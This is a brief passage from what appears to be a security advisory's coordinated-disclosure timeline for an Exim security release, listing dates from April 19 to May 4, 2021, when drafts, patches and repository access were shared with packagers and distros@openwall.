Coordinated Release Date. 2021-04-19: We accepted the proposed Coordinated Release Date. 2021-04-21: Exim publicly announced the impending security release. 2021-04-27: Exim provided packagers and maintainers (including distros@openwall) with access to their security Git repository. 2021-04-28: We sent a draft of our advisory and our minimal set of patches to distros@openwall. 2021-05-04: Coordinated Release Date (13:30 UTC).